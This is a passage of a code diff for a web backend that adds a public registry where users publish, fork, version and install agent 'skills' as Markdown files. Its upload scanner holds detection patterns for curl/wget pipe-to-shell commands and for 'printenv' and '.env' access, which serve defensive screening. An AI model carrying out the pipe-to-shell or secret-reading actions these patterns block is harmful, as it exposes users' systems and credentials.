).scalars().all() + data = _skill_payload(skill, namespace, _get_public_version(db, skill)) + data["versions"] = [_version_payload(v) for v in versions] + return success_response(data) + + +@router.get("/registry/versions/{version_id}/download") +def download_registry_version(version_id: str, db: Session = Depends(get_db)): + row = db.execute( + select(RegistrySkillVersion, RegistrySkill, SkillArtifact) + .join(RegistrySkill, RegistrySkill.id == RegistrySkillVersion.skill_id) + .outerjoin(SkillArtifact, SkillArtifact.id == RegistrySkillVersion.artifact_id) + .where( + RegistrySkillVersion.id == version_id, + RegistrySkillVersion.status == "published", + RegistrySkill.status == "active", + RegistrySkill.visibility == "public", + ) + ).first() + if not row: + return json_response(ResponseCode.NOT_FOUND, "Published skill version not found") + version, _skill, artifact = row + if version.source_mode != "mirrored" or artifact is None: + return json_response(ResponseCode.CONFLICT, "This version is installed from its verified upstream source") + try: + data = get_file_store().read(artifact.storage_key) + except FileNotFoundError: + return json_response(ResponseCode.NOT_FOUND, "Artifact data is unavailable") + if hashlib.sha256(data).hexdigest() != artifact.sha256: + return json_response(ResponseCode.INTERNAL_ERROR, "Artifact integrity check failed") + media_type = "text/markdown; charset=utf-8" if artifact.package_type == "md" else "application/zip" + return Response( + content=data, + media_type=media_type, + headers={ + "Content-Disposition": f'attachment; filename="{artifact.filename}"', + "X-Content-SHA256": artifact.sha256, + }, + ) + + +@router.post("/workspaces/{workspace_id}/skills/{workspace_skill_id}/publish") +def publish_workspace_skill( + workspace_id: str, + workspace_skill_id: str, + body: PublishRequest, + db: Session = Depends(get_db), + x_workspace_token: Optional[str] = Header(None), + authorization: Optional[str] = Header(None), +): + workspace = db.get(Workspace, workspace_id) + if not workspace: + return json_response(ResponseCode.NOT_FOUND, "Workspace not found") + if not verify_workspace_access(workspace, x_workspace_token, authorization, db=db, min_role="member"): + return json_response(ResponseCode.UNAUTHORIZED, "Invalid workspace credentials") + if body.license_spdx not in PUBLIC_LICENSES: + return json_response(ResponseCode.BAD_REQUEST, "Public skills require a derivative-friendly license") + + materialize_legacy_workspace_skills(db, workspace) + local = db.execute(select(WorkspaceSkill).where( + WorkspaceSkill.id == workspace_skill_id, + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.status == "active", + )).scalar_one_or_none() + if not local: + return json_response(ResponseCode.NOT_FOUND, "Workspace skill not found") + local_version = db.get(WorkspaceSkillVersion, local.latest_version_id) + if not local_version: + return json_response(ResponseCode.CONFLICT, "Workspace skill has no version") + if local_version.package_type != "md": + return json_response(ResponseCode.BAD_REQUEST, "MVP public UGC supports Markdown skills only") + file_record = db.get(FileRecord, local_version.file_id) + if not file_record or file_record.workspace_id != workspace.id or file_record.status != "active": + return json_response(ResponseCode.NOT_FOUND, "Backing workspace file is unavailable") + try: + data = get_file_store().read(file_record.storage_key) + frontmatter, scan_result = scan_public_markdown(data) + except (FileNotFoundError, ValueError) as exc: + return json_response(ResponseCode.BAD_REQUEST, str(exc)) + + user = resolve_current_user(db, authorization) + namespace_slug = slugify(user.display_name or user.email.split("@", 1)[0]) if user else slugify(f"ws-{workspace.slug}") + namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() + if namespace and user and namespace.owner_user_id not in (None, user.id): + namespace_slug = slugify(f"{namespace_slug}-{str(user.id)[:8]}") + namespace = None + if namespace is None: + namespace = SkillNamespace( + slug=namespace_slug, + type="user", + owner_user_id=user.id if user else None, + display_name=(user.display_name or user.email) if user else (workspace.creator_email or workspace.name), + ) + db.add(namespace) + db.flush() + + registry_skill = db.get(RegistrySkill, local.registry_skill_id) if local.registry_skill_id else None + if registry_skill is None: + registry_skill = db.execute(select(RegistrySkill).where( + RegistrySkill.namespace_id == namespace.id, + RegistrySkill.slug == local.slug, + )).scalar_one_or_none() + if registry_skill is None: + registry_skill = RegistrySkill( + namespace_id=namespace.id, + slug=local.slug, + name=local.name, + summary=local.summary or frontmatter.get("description", ""), + category=local.category, + tags=local.tags or [], + visibility="public", + forked_from_version_id=local.forked_from_version_id, + ) + db.add(registry_skill) + db.flush() + local.registry_skill_id = registry_skill.id + + sha256 = hashlib.sha256(data).hexdigest() + artifact = db.execute(select(SkillArtifact).where(SkillArtifact.sha256 == sha256)).scalar_one_or_none() + if artifact is None: + filename = f"{local.slug}.md" + storage_key = get_file_store().save_artifact(sha256, filename, data) + artifact = SkillArtifact( + sha256=sha256, + storage_key=storage_key, + filename=filename, + package_type="md", + size=len(data), + manifest={"files": [{"path": "SKILL.md", "sha256": sha256, "size": len(data)}]}, + scan_status=scan_result["status"], + ) + db.add(artifact) + db.flush() + + last_seq = db.execute( + select(func.max(RegistrySkillVersion.version_seq)).where(RegistrySkillVersion.skill_id == registry_skill.id) + ).scalar_one_or_none() or 0 + display_version = (body.version or f"{last_seq + 1}.0.0").strip() + if not re.match(r"^[0-9]+\.[0-9]+\.[0-9]+(?:[-+][A-Za-z0-9.-]+)?$", display_version): + return json_response(ResponseCode.BAD_REQUEST, "Version must be valid semver, for example 1.0.0") + duplicate = db.execute(select(RegistrySkillVersion.id).where( + RegistrySkillVersion.skill_id == registry_skill.id, + RegistrySkillVersion.version == display_version, + )).first() + if duplicate: + return json_response(ResponseCode.CONFLICT, "That public version already exists") + version = RegistrySkillVersion( + skill_id=registry_skill.id, + version=display_version, + version_seq=last_seq + 1, + artifact_id=artifact.id, + source_mode="mirrored", + content_sha256=sha256, + package_type="md", + frontmatter=frontmatter, + changelog=body.changelog.strip(), + license_spdx=body.license_spdx, + attribution_snapshot={ + "author": namespace.display_name, + "namespace": namespace.slug, + "forked_from_version_id": local.forked_from_version_id, + }, + capabilities={"scripts": False, "network": "declared-in-instructions"}, + scan_result=scan_result, + published_by_user_id=user.id if user else None, + ) + db.add(version) + db.flush() + registry_skill.latest_published_version_id = version.id + registry_skill.updated_at = datetime.now(timezone.utc) + db.commit() + return success_response(_skill_payload(registry_skill, namespace, version), "Skill published") + + +@router.post("/registry/skills/{skill_id}/fork") +def fork_registry_skill( + skill_id: str, + body: ForkRequest, + db: Session = Depends(get_db), + x_workspace_token: Optional[str] = Header(None), + authorization: Optional[str] = Header(None), +): + workspace = db.get(Workspace, body.workspace_id) + if not workspace: + return json_response(ResponseCode.NOT_FOUND, "Workspace not found") + if not verify_workspace_access(workspace, x_workspace_token, authorization, db=db, min_role="member"): + return json_response(ResponseCode.UNAUTHORIZED, "Invalid workspace credentials") + skill = db.execute(select(RegistrySkill).where( + RegistrySkill.id == skill_id, + RegistrySkill.visibility == "public", + RegistrySkill.status == "active", + )).scalar_one_or_none() + if not skill: + return json_response(ResponseCode.NOT_FOUND, "Public skill not found") + version = _get_public_version(db, skill, body.version_id) + artifact = db.get(SkillArtifact, version.artifact_id) if version and version.artifact_id else None + if not version or not artifact: + return json_response(ResponseCode.BAD_REQUEST, "Pointer-only upstream skills cannot be forked until their license permits mirroring") + if version.license_spdx not in PUBLIC_LICENSES: + return json_response(ResponseCode.FORBIDDEN, "This version does not permit registry forks") + try: + data = get_file_store().read(artifact.storage_key) + except FileNotFoundError: + return json_response(ResponseCode.NOT_FOUND, "Artifact data is unavailable") + base_slug = slugify(body.slug or skill.slug) + target_slug = base_slug + suffix = 2 + while db.execute(select(WorkspaceSkill.id).where( + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.slug == target_slug, + )).first(): + target_slug = f"{base_slug[:58]}-{suffix}" + suffix += 1 + file_id = str(uuid.uuid4()) + filename = f"{target_slug}.md" + storage_key = get_file_store().save(str(workspace.id), file_id, filename, data) + created_by = "human:user" + record = FileRecord( + id=file_id, + workspace_id=workspace.id, + filename=f"skills/{filename}", + content_type="text/markdown", + size=len(data), + storage_key=storage_key, + uploaded_by=created_by, + ) + db.add(record) + local = WorkspaceSkill( + workspace_id=workspace.id, + slug=target_slug, + name=body.name or skill.name, + summary=skill.summary, + category="custom", + tags=skill.tags or [], + created_by=created_by, + forked_from_version_id=version.id, + ) + db.add(local) + db.flush() + local_version = create_workspace_version( + db, local, record, data, "md", created_by, + f"Forked from registry version {version.version}", + ) + db.commit() + return success_response({ + "id": local.id, + "slug": local.slug, + "name": local.name, + "workspaceId": str(workspace.id), + "versionId": local_version.id, + "forkedFromVersionId": version.id, + }, "Skill forked to workspace") diff --git a/workspace/backend/app/routers/workspaces.py b/workspace/backend/app/routers/workspaces.py index 080aac251..ef6148f79 100644 --- a/workspace/backend/app/routers/workspaces.py +++ b/workspace/backend/app/routers/workspaces.py @@ -739,6 +739,7 @@ def generate_member_description( class SkillInstallRequest(BaseModel): skill_id: str + version_id: Optional[str] = None class SkillStatusRequest(BaseModel): @@ -747,6 +748,7 @@ class SkillStatusRequest(BaseModel): path: Optional[str] = None error: Optional[str] = None partial: Optional[bool] = None # SKILL.md fetched but bundled files missing + version_id: Optional[str] = None _VALID_SKILL_STATES = {"installing", "installed", "failed", "uninstalled"} @@ -765,6 +767,11 @@ class CustomSkillRegisterRequest(BaseModel): filename: Optional[str] = None # original name, for display metadata only +class CustomSkillVersionRequest(BaseModel): + file_id: str + changelog: str = "" + + def _custom_skills_map(workspace) -> dict: """Return a shallow copy of ``settings["custom_skills"]`` (id → metadata).""" return dict((workspace.settings or {}).get("custom_skills") or {}) @@ -883,10 +890,48 @@ async def install_skill( if not member: return json_response(ResponseCode.NOT_FOUND, "Member not found") - # Built-in catalog first; then fall back to this workspace's custom skills. + # Built-in catalog first; then workspace-private skills, then a public + # registry UUID. New clients pin an immutable registry version. skill = find_skill(body.skill_id) custom = None if skill else _custom_skills_map(workspace).get(body.skill_id) - if not skill and not custom: + registry_skill = None + registry_version = None + if not skill: + from app.models import RegistrySkill, RegistrySkillVersion, WorkspaceSkill, WorkspaceSkillVersion + from app.skill_registry import materialize_legacy_workspace_skills + materialize_legacy_workspace_skills(db, workspace) + local_skill = db.execute(select(WorkspaceSkill).where( + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.slug == body.skill_id, + WorkspaceSkill.status == "active", + )).scalar_one_or_none() + if local_skill: + local_version = db.get(WorkspaceSkillVersion, local_skill.latest_version_id) + if local_version: + custom = { + "id": local_skill.slug, + "name": local_skill.name, + "description": local_skill.summary, + "source_type": "workspace_file", + "file_id": local_version.file_id, + "filename": f"{local_skill.slug}.{local_version.package_type}", + "package_type": local_version.package_type, + "version_id": local_version.id, + } + if not custom: + registry_skill = db.execute(select(RegistrySkill).where( + RegistrySkill.id == body.skill_id, + RegistrySkill.visibility == "public", + RegistrySkill.status == "active", + )).scalar_one_or_none() + if registry_skill: + target_version_id = body.version_id or registry_skill.latest_published_version_id + registry_version = db.execute(select(RegistrySkillVersion).where( + RegistrySkillVersion.id == target_version_id, + RegistrySkillVersion.skill_id == registry_skill.id, + RegistrySkillVersion.status == "published", + )).scalar_one_or_none() + if not skill and not custom and not registry_version: return json_response(ResponseCode.NOT_FOUND, f"Unknown skill: {body.skill_id}") # For a custom skill, confirm its backing upload still exists and belongs to @@ -907,8 +952,15 @@ async def install_skill( "This skill's uploaded file was deleted. Please re-upload the skill.", ) + if registry_version and registry_version.source_mode == "mirrored" and (member.agent_type or "").lower() not in {"claude", "cursor", "codex"}: + return json_response( + ResponseCode.BAD_REQUEST, + f"Registry MVP does not yet support agent type '{member.agent_type or 'unknown'}'", + ) + + status_skill_id = registry_skill.id if registry_skill else body.skill_id skills_data = dict(member.enabled_skills or {}) - skills_data = _set_skill_status(skills_data, body.skill_id, "installing") + skills_data = _set_skill_status(skills_data, status_skill_id, "installing") member.enabled_skills = skills_data if custom: @@ -927,6 +979,25 @@ async def install_skill( "package_type": custom.get("package_type"), }, }) + elif registry_version: + event_skill = { + "id": registry_skill.slug, + "registry_skill_id": registry_skill.id, + "version_id": registry_version.id, + "name": registry_skill.name, + "description": registry_skill.summary, + "package_type": registry_version.package_type, + "content_sha256": registry_version.content_sha256, + } + if registry_version.source_mode == "mirrored": + event_skill["source_type"] = "registry" + else: + event_skill.update({ + "source_type": "registry_upstream", + "source_repo": registry_version.source_repo, + "source_path": registry_version.source_path, + }) + _emit_agent_control_event(db, workspace, agent_name, "skill.install", {"skill": event_skill}) else: # Carry the catalog metadata the launcher needs to fetch the skill. _emit_agent_control_event(db, workspace, agent_name, "skill.install", { @@ -938,15 +1009,32 @@ async def install_skill( "source_path": skill.get("source_path", ""), }, }) + from app.models import AgentSkillInstallation + installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, status_skill_id)) + if installation is None: + installation = AgentSkillInstallation( + workspace_id=workspace.id, + agent_name=agent_name, + skill_id=status_skill_id, + version_id=registry_version.id if registry_version else None, + state="installing", + ) + db.add(installation) + else: + installation.version_id = registry_version.id if registry_version else installation.version_id + installation.state = "installing" + installation.error = None + installation.updated_at = datetime.now(timezone.utc) db.commit() logger.info( "install_skill: queued install of '%s' for agent '%s' in workspace %s", - body.skill_id, agent_name, workspace.id, + status_skill_id, agent_name, workspace.id, ) return success_response({ "agentName": agent_name, - "skillId": body.skill_id, + "skillId": status_skill_id, + "versionId": registry_version.id if registry_version else None, "action": "installing", "state": "installing", "installedSkills": list(skills_data.get("installed", [])), @@ -1003,6 +1091,34 @@ async def report_skill_status( skills_data, body.skill_id, body.state, body.path, body.error, body.partial ) member.enabled_skills = skills_data + + from app.models import AgentSkillInstallation, RegistrySkill + installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, body.skill_id)) + previous_state = installation.state if installation else None + if body.state == "uninstalled": + if installation: + db.delete(installation) + else: + if installation is None: + installation = AgentSkillInstallation( + workspace_id=workspace.id, + agent_name=agent_name, + skill_id=body.skill_id, + version_id=body.version_id, + state=body.state, + ) + db.add(installation) + installation.version_id = body.version_id or installation.version_id + installation.state = body.state + installation.install_path = body.path + installation.error = body.error + installation.updated_at = datetime.now(timezone.utc) + if body.state == "installed": + installation.installed_at = datetime.now(timezone.utc) + if previous_state != "installed": + registry_skill = db.get(RegistrySkill, body.skill_id) + if registry_skill: + registry_skill.install_count = (registry_skill.install_count or 0) + 1 db.commit() if body.state == "failed": @@ -1095,15 +1211,24 @@ async def uninstall_skill( skills_data["skill_status"] = status_map member.enabled_skills = skills_data - skill = find_skill(body.skill_id) or {"id": body.skill_id} + from app.models import AgentSkillInstallation, RegistrySkill + registry_skill = db.get(RegistrySkill, body.skill_id) + skill = find_skill(body.skill_id) or { + "id": registry_skill.slug if registry_skill else body.skill_id, + "name": registry_skill.name if registry_skill else body.skill_id, + } _emit_agent_control_event(db, workspace, agent_name, "skill.uninstall", { "skill": { "id": skill["id"], + "registry_skill_id": registry_skill.id if registry_skill else None, "name": skill.get("name", skill["id"]), "source_repo": skill.get("source_repo", ""), "source_path": skill.get("source_path", ""), }, }) + installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, body.skill_id)) + if installation: + db.delete(installation) db.commit() return success_response({ @@ -1135,7 +1260,40 @@ async def list_custom_skills( if not _verify_workspace_access(workspace, x_workspace_token, authorization): return json_response(ResponseCode.UNAUTHORIZED, "Invalid credentials") - return success_response({"skills": list(_custom_skills_map(workspace).values())}) + from app.models import FileRecord, WorkspaceSkill, WorkspaceSkillVersion + from app.skill_registry import materialize_legacy_workspace_skills + + materialize_legacy_workspace_skills(db, workspace) + skills = db.execute( + select(WorkspaceSkill).where( + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.status == "active", + ).order_by(WorkspaceSkill.created_at.desc()) + ).scalars().all() + payload = [] + for skill in skills: + version = db.get(WorkspaceSkillVersion, skill.latest_version_id) if skill.latest_version_id else None + file_rec = db.get(FileRecord, version.file_id) if version else None + payload.append({ + "id": skill.slug, + "workspace_skill_id": skill.id, + "name": skill.name, + "description": skill.summary, + "category": skill.category, + "tags": skill.tags or [], + "author": skill.created_by, + "source_type": "workspace_file", + "file_id": version.file_id if version else None, + "filename": os.path.basename(file_rec.filename) if file_rec else None, + "content_type": file_rec.content_type if file_rec else None, + "package_type": version.package_type if version else None, + "version": version.version if version else None, + "version_id": version.id if version else None, + "registry_skill_id": skill.registry_skill_id, + "forked_from_version_id": skill.forked_from_version_id, + "created_at": skill.created_at.isoformat() if skill.created_at else None, + }) + return success_response({"skills": payload}) @router.post("/{workspace_id}/skills/custom") @@ -1161,7 +1319,8 @@ async def register_custom_skill( inspect_package, is_valid_skill_id, ) - from app.models import FileRecord + from app.models import FileRecord, WorkspaceSkill + from app.skill_registry import create_workspace_version, materialize_legacy_workspace_skills, slugify from app.skill_catalog import find_skill from app.storage import get_file_store @@ -1197,8 +1356,14 @@ async def register_custom_skill( return json_response( ResponseCode.CONFLICT, f"'{skill_id}' conflicts with a built-in catalog skill", ) + materialize_legacy_workspace_skills(db, workspace) existing = _custom_skills_map(workspace) - if skill_id in existing: + duplicate = db.execute(select(WorkspaceSkill.id).where( + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.slug == slugify(skill_id), + WorkspaceSkill.status == "active", + )).first() + if skill_id in existing or duplicate: return json_response( ResponseCode.CONFLICT, f"A custom skill '{skill_id}' already exists in this workspace", ) @@ -1230,6 +1395,28 @@ async def register_custom_skill( "created_at": datetime.now(timezone.utc).isoformat(), } + # The normalized tables are the new source of truth. Keep the legacy JSON + # mirror for one compatibility window because older launchers/UI builds + # still read it; all new endpoints prefer the rows above. + local_skill = WorkspaceSkill( + workspace_id=workspace.id, + slug=slugify(skill_id), + name=entry["name"], + summary=entry["description"], + category=CUSTOM_SKILL_CATEGORY, + tags=[], + created_by=file_rec.uploaded_by, + ) + db.add(local_skill) + db.flush() + local_version = create_workspace_version( + db, local_skill, file_rec, data, pkg["package_type"], file_rec.uploaded_by, + "Initial workspace version", + ) + entry["workspace_skill_id"] = local_skill.id + entry["version"] = local_version.version + entry["version_id"] = local_version.id + # Persist via copy-then-reassign: SQLAlchemy does not detect in-place edits # of a JSONB column (no MutableDict here), so we rebuild and reassign the # whole settings dict. The copy also preserves any other custom skills. @@ -1248,6 +1435,55 @@ async def register_custom_skill( return success_response(entry) +@router.post("/{workspace_id}/skills/custom/{workspace_skill_id}/versions") +async def create_custom_skill_version( + workspace_id: str, + workspace_skill_id: str, + body: CustomSkillVersionRequest, + db: Session = Depends(get_db), + x_workspace_token: Optional[str] = Header(None), + authorization: Optional[str] = Header(None), +): + """Create a new immutable private version from an uploaded workspace file.""" + from app.custom_skills import CustomSkillError, inspect_package + from app.models import FileRecord, WorkspaceSkill + from app.skill_registry import create_workspace_version + from app.storage import get_file_store + + workspace = db.execute(select(Workspace).where(_workspace_filter(workspace_id))).scalar_one_or_none() + if not workspace: + return json_response(ResponseCode.NOT_FOUND, "Workspace not found") + if not _verify_workspace_access(workspace, x_workspace_token, authorization): + return json_response(ResponseCode.UNAUTHORIZED, "Invalid credentials") + skill = db.execute(select(WorkspaceSkill).where( + WorkspaceSkill.id == workspace_skill_id, + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.status == "active", + )).scalar_one_or_none() + if not skill: + return json_response(ResponseCode.NOT_FOUND, "Workspace skill not found") + file_rec = db.get(FileRecord, body.file_id) + if not file_rec or file_rec.status != "active" or str(file_rec.workspace_id) != str(workspace.id): + return json_response(ResponseCode.NOT_FOUND, "File not found in this workspace") + try: + data = get_file_store().read(file_rec.storage_key) + pkg = inspect_package(data, file_rec.filename) + except (OSError, CustomSkillError) as exc: + return json_response(ResponseCode.BAD_REQUEST, str(exc)) + version = create_workspace_version( + db, skill, file_rec, data, pkg["package_type"], file_rec.uploaded_by, + body.changelog.strip(), + ) + db.commit() + return success_response({ + "workspace_skill_id": skill.id, + "id": skill.slug, + "version_id": version.id, + "version": version.version, + "changelog": version.changelog, + }, "Skill version created") + + # --------------------------------------------------------------------------- # GET /v1/workspaces/{workspace_id}/channels/{channel_name} # --------------------------------------------------------------------------- diff --git a/workspace/backend/app/skill_registry.py b/workspace/backend/app/skill_registry.py new file mode 100644 index 000000000..5ee18e62d --- /dev/null +++ b/workspace/backend/app/skill_registry.py @@ -0,0 +1,240 @@ +# -*- coding: utf-8 -*- +"""Core helpers shared by workspace skill authoring and the public registry.""" + +import hashlib +import re +from datetime import datetime, timezone + +from sqlalchemy import select +from sqlalchemy.orm import Session + +from app.models import ( + FileRecord, + RegistrySkill, + RegistrySkillVersion, + SkillNamespace, + WorkspaceSkill, + WorkspaceSkillVersion, +) +from app.skill_catalog import SKILL_CATALOG +from app.storage import get_file_store + + +PUBLIC_LICENSES = {"MIT", "Apache-2.0", "CC-BY-4.0", "CC-BY-SA-4.0"} +_SLUG_RE = re.compile(r"[^a-z0-9-]+") +_BIDI = {"\u202a", "\u202b", "\u202d", "\u202e", "\u2066", "\u2067", "\u2068", "\u2069"} + + +def slugify(value: str, fallback: str = "skill") -> str: + value = _SLUG_RE.sub("-", (value or "").strip().lower().replace("_", "-")) + value = re.sub(r"-+", "-", value).strip("-") + return (value[:64] or fallback) + + +def markdown_frontmatter(text: str) -> dict: + """Parse the small frontmatter subset needed by the MVP without YAML deps.""" + if not text.startswith("---"): + return {} + end = text.find("\n---", 3) + if end < 0: + return {} + out = {} + for line in text[3:end].splitlines(): + if ":" not in line: + continue + key, value = line.split(":", 1) + key = key.strip() + if key in {"name", "description"}: + out[key] = value.strip().strip("'\"") + return out + + +def scan_public_markdown(data: bytes) -> tuple[dict, dict]: + """Validate Markdown-only UGC and return (frontmatter, scan report).""" + if len(data) > 512 * 1024: + raise ValueError("Public Markdown skills are limited to 512 KB") + try: + text = data.decode("utf-8") + except UnicodeDecodeError as exc: + raise ValueError("Public skills must be UTF-8 Markdown") from exc + if not text.strip(): + raise ValueError("Skill Markdown is empty") + if "\x00" in text or any(ch in text for ch in _BIDI): + raise ValueError("Skill contains hidden or bidirectional control characters") + if "-----BEGIN PRIVATE KEY-----" in text: + raise ValueError("Skill appears to contain a private key") + fm = markdown_frontmatter(text) + if not fm.get("name") or not fm.get("description"): + raise ValueError("Public skills require frontmatter name and description") + lowered = text.lower() + if re.search(r"(?:curl|wget)[^\n|]{0,300}\|\s*(?:ba)?sh\b", lowered): + raise ValueError("Public skills cannot contain pipe-to-shell instructions") + findings = [] + for marker, label in ( + ("printenv", "environment access"), + (".env", "environment file access"), + ): + if marker in lowered: + findings.append(label) + return fm, { + "scanner": "registry-mvp-v1", + "status": "passed_with_findings" if findings else "passed", + "findings": sorted(set(findings)), + } + + +def create_workspace_version( + db: Session, + skill: WorkspaceSkill, + file_record: FileRecord, + data: bytes, + package_type: str, + created_by: str, + changelog: str = "", +) -> WorkspaceSkillVersion: + last_seq = db.execute( + select(WorkspaceSkillVersion.version_seq) + .where(WorkspaceSkillVersion.workspace_skill_id == skill.id) + .order_by(WorkspaceSkillVersion.version_seq.desc()) + .limit(1) + ).scalar_one_or_none() or 0 + seq = last_seq + 1 + fm = {} + if package_type == "md": + try: + fm = markdown_frontmatter(data.decode("utf-8")) + except UnicodeDecodeError: + fm = {} + version = WorkspaceSkillVersion( + workspace_skill_id=skill.id, + version_seq=seq, + version=f"{seq}.0.0", + file_id=file_record.id, + package_type=package_type, + content_sha256=hashlib.sha256(data).hexdigest(), + frontmatter=fm, + changelog=changelog, + created_by=created_by, + ) + db.add(version) + db.flush() + skill.latest_version_id = version.id + skill.updated_at = datetime.now(timezone.utc) + return version + + +def materialize_legacy_workspace_skills(db: Session, workspace) -> list[WorkspaceSkill]: + """Lazily convert JSONB custom skills once their backing bytes are readable.""" + existing = db.execute( + select(WorkspaceSkill).where( + WorkspaceSkill.workspace_id == workspace.id, + WorkspaceSkill.status == "active", + ) + ).scalars().all() + by_slug = {s.slug: s for s in existing} + legacy = dict((workspace.settings or {}).get("custom_skills") or {}) + store = get_file_store() + changed = False + for legacy_slug, entry in legacy.items(): + slug = slugify(entry.get("id") or legacy_slug) + if slug in by_slug: + continue + file_record = db.get(FileRecord, entry.get("file_id")) + if not file_record or file_record.workspace_id != workspace.id or file_record.status != "active": + continue + try: + data = store.read(file_record.storage_key) + except (FileNotFoundError, OSError): + continue + skill = WorkspaceSkill( + workspace_id=workspace.id, + slug=slug, + name=entry.get("name") or slug, + summary=entry.get("description") or "", + category="custom", + tags=entry.get("tags") or [], + created_by=entry.get("author") or file_record.uploaded_by, + ) + db.add(skill) + db.flush() + create_workspace_version( + db, skill, file_record, data, + entry.get("package_type") or "md", + file_record.uploaded_by, + "Imported from legacy custom skill", + ) + by_slug[slug] = skill + changed = True + if changed: + db.commit() + return list(by_slug.values()) + + +def ensure_builtin_registry(db: Session) -> None: + """Idempotently expose the existing backend catalog as upstream pointers.""" + namespaces: dict[str, SkillNamespace] = {} + for entry in SKILL_CATALOG: + repo = entry.get("source_repo") or "openagents/catalog" + owner = repo.split("/", 1)[0] + ns_slug = slugify(owner, "openagents") + ns = namespaces.get(ns_slug) + if ns is None: + ns = db.execute(select(SkillNamespace).where(SkillNamespace.slug == ns_slug)).scalar_one_or_none() + if ns is None: + ns = SkillNamespace( + slug=ns_slug, + type="official" if ns_slug == "openagents" else "external", + display_name=entry.get("author") or owner, + source_url=f"https://github.com/{repo}", + verified_at=datetime.now(timezone.utc), + ) + db.add(ns) + db.flush() + namespaces[ns_slug] = ns + existing = db.execute( + select(RegistrySkill.id).where( + RegistrySkill.namespace_id == ns.id, + RegistrySkill.slug == slugify(entry["id"]), + ) + ).first() + if existing: + continue + skill = RegistrySkill( + namespace_id=ns.id, + slug=slugify(entry["id"]), + name=entry.get("name") or entry["id"], + summary=entry.get("description") or "", + category=entry.get("category") or "other", + tags=entry.get("tags") or [], + visibility="public", + ) + db.add(skill) + db.flush() + if repo.lower() == "terminalskills/skills": + license_spdx = "Apache-2.0" + elif repo.lower() == "opensensenova/sensenova-skills": + license_spdx = "MIT" + else: + # Anthropic contains both open and source-available packages. Keep + # these entries pointer-only and do not claim redistribution rights. + license_spdx = "LicenseRef-Upstream" + version = RegistrySkillVersion( + skill_id=skill.id, + version="upstream", + version_seq=1, + source_mode="upstream_pointer", + source_repo=repo, + source_path=entry.get("source_path"), + package_type="zip", + license_spdx=license_spdx, + attribution_snapshot={ + "author": entry.get("author") or owner, + "source_url": f"https://github.com/{repo}/tree/main/{entry.get('source_path', '')}", + }, + capabilities={"scripts": "unknown", "source": "upstream"}, + scan_result={"status": "not_mirrored"}, + ) + db.add(version) + db.flush() + skill.latest_published_version_id = version.id + db.commit() diff --git a/workspace/backend/app/storage.py b/workspace/backend/app/storage.py index 6dcf086fc..711947ccc 100644 --- a/workspace/backend/app/storage.py +++ b/workspace/backend/app/storage.py @@ -30,6 +30,10 @@ def exists(self, storage_key: str) -> bool: """Check if file exists at storage key.""" ... + def save_artifact(self, sha256: str, filename: str, data: bytes) -> str: + """Save an immutable registry artifact outside any workspace.""" + ... + class LocalFileStore: """Store files on the local filesystem.""" @@ -66,6 +70,24 @@ def save(self, workspace_id: str, file_id: str, filename: str, data: bytes) -> s path.write_bytes(data) return key + def save_artifact(self, sha256: str, filename: str, data: bytes) -> str: + if not sha256 or len(sha256) != 64 or any(c not in "0123456789abcdef" for c in sha256): + raise ValueError("Invalid artifact sha256") + if "\\" in filename or Path(filename).name != filename or filename in ("", ".", ".."): + raise ValueError(f"Invalid artifact filename: {filename!r}") + key = f"registry/artifacts/sha256/{sha256[:2]}/{sha256}/{filename}" + path = self.base_dir / key + try: + path.resolve().relative_to(self.base_dir.resolve()) + except ValueError: + raise ValueError("Artifact path traversal detected") + path.parent.mkdir(parents=True, exist_ok=True) + if path.exists() and path.read_bytes() != data: + raise ValueError("Artifact digest collision") + if not path.exists(): + path.write_bytes(data) + return key + def read(self, storage_key: str) -> bytes: path = self.base_dir / storage_key if not path.exists(): @@ -94,6 +116,15 @@ def save(self, workspace_id: str, file_id: str, filename: str, data: bytes) -> s self.s3.put_object(Bucket=self.bucket, Key=key, Body=data) return key + def save_artifact(self, sha256: str, filename: str, data: bytes) -> str: + if not sha256 or len(sha256) != 64 or any(c not in "0123456789abcdef" for c in sha256): + raise ValueError("Invalid artifact sha256") + if "/" in filename or "\\" in filename or filename in ("", ".", ".."): + raise ValueError(f"Invalid artifact filename: {filename!r}") + key = f"registry/artifacts/sha256/{sha256[:2]}/{sha256}/{filename}" + self.s3.put_object(Bucket=self.bucket, Key=key, Body=data) + return key + def read(self, storage_key: str) -> bytes: resp = self.s3.get_object(Bucket=self.bucket, Key=storage_key) return resp["Body"].read() diff --git a/workspace/backend/tests/test_skill_registry.py b/workspace/backend/tests/test_skill_registry.py new file mode 100644 index 000000000..85f419f78 --- /dev/null +++ b/workspace/backend/tests/test_skill_registry.py @@ -0,0 +1,197 @@ +# -*- coding: utf-8 -*- +"""End-to-end coverage for the compact public Skill Registry MVP.""" + +import hashlib +import io +import zipfile + + +VALID_SKILL = b"""--- +name: Release Notes Helper +description: Draft concise release notes from a git diff. +--- +# Release Notes Helper +Summarize a change set and produce Markdown release notes. +""" + + +def _headers(workspace): + return {"X-Workspace-Token": workspace["token"]} + + +def _zip_skill(): + buffer = io.BytesIO() + with zipfile.ZipFile(buffer, "w") as archive: + archive.writestr("SKILL.md", VALID_SKILL) + archive.writestr("helper.py", "print('private helper')\n") + return buffer.getvalue() + + +def _upload_and_register(client, workspace, content=VALID_SKILL, suffix="md", slug="release-notes-helper"): + content_type = "text/markdown" if suffix == "md" else "application/zip" + uploaded = client.post( + "/v1/files", + files={"file": (f"release-notes.{suffix}", content, content_type)}, + data={"network": workspace["id"]}, + headers=_headers(workspace), + ) + assert uploaded.status_code == 200, uploaded.text + file_id = uploaded.json()["data"]["id"] + registered = client.post( + f"/v1/workspaces/{workspace['id']}/skills/custom", + json={ + "file_id": file_id, + "id": slug, + "name": "Release Notes Helper", + "description": "Draft concise release notes from a git diff.", + "filename": f"release-notes.{suffix}", + }, + headers=_headers(workspace), + ) + assert registered.status_code == 200, registered.text + return registered.json()["data"] + + +def _publish(client, workspace, local): + response = client.post( + 